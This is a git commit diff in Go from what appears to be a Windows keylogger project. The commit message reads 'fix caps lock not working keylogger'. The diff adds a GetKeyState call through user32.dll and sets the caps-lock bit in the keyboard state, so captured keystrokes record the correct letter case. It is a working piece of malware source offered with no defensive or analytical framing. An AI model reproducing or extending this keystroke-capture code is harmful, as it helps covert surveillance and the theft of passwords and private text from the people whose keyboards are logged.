better logging for plugins + fix caps lock not working keylogger

This commit is contained in:
KingKDot
2026-05-06 21:59:07 -05:00
parent 7c858e4984
commit 5759b19a89
3 changed files with 16 additions and 0 deletions
@@ -16,6 +16,7 @@ import (
var (
user32 = syscall.NewLazyDLL("user32.dll")
procGetAsyncKeyState = user32.NewProc("GetAsyncKeyState")
procGetKeyState = user32.NewProc("GetKeyState")
procGetKeyboardState = user32.NewProc("GetKeyboardState")
procToUnicode = user32.NewProc("ToUnicode")
procMapVirtualKey = user32.NewProc("MapVirtualKeyW")
@@ -118,6 +119,13 @@ func getKeyString(vk int) string {
kbState[VK_MENU] &^= 0x80
}
capsOn := (getKeyState(VK_CAPITAL) & 0x0001) != 0
if capsOn {
kbState[VK_CAPITAL] |= 0x01
} else {
kbState[VK_CAPITAL] &^= 0x01
}
if ctrlDown || altDown {
base := keyNameForCombo(vk)
if base != "" {
@@ -221,6 +229,11 @@ func getAsyncKeyState(vk int) uint16 {
return uint16(ret)
}
func getKeyState(vk int) uint16 {
ret, _, _ := procGetKeyState.Call(uintptr(vk))
return uint16(ret)
}
func keyNameForCombo(vk int) string {
// Letters
if vk >= 0x41 && vk <= 0x5A {